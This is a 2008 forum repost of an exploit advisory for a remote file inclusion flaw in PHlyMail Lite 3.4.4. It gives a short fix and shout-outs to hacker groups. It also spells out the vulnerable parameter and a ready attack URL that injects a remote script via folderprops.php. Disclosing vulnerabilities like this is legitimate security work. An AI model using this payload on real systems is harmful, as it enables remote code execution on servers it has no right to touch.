Guest Nemessis Posted April 26, 2008 Report Share Posted April 26, 2008 http://www.milw0rm.com/exploits/2236---------------------------------------------------------------------------PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2]---------------------------------------------------------------------------Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://rstcenter.com :Remote : YesCritical Level : Dangerous---------------------------------------------------------------------------Affected software description :~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Application : PHlyMail Liteversion : v. 3.4.4 (Build 3.04.04)URL : http://phlymail.de/------------------------------------------------------------------Exploit:~~~~~~~Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.# http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script]---------------------------------------------------------------------------Solution :~~~~~~~~~declare variabel $_PM_[path][handler]---------------------------------------------------------------------------Shoutz:~~~~~# Special greetz to my good friend [Oo]# To all members of h4cky0u.org and RST [ hTTp://rstcenter.com ]---------------------------------------------------------------------------*/ Quote Link to comment Share on other sites More sharing options...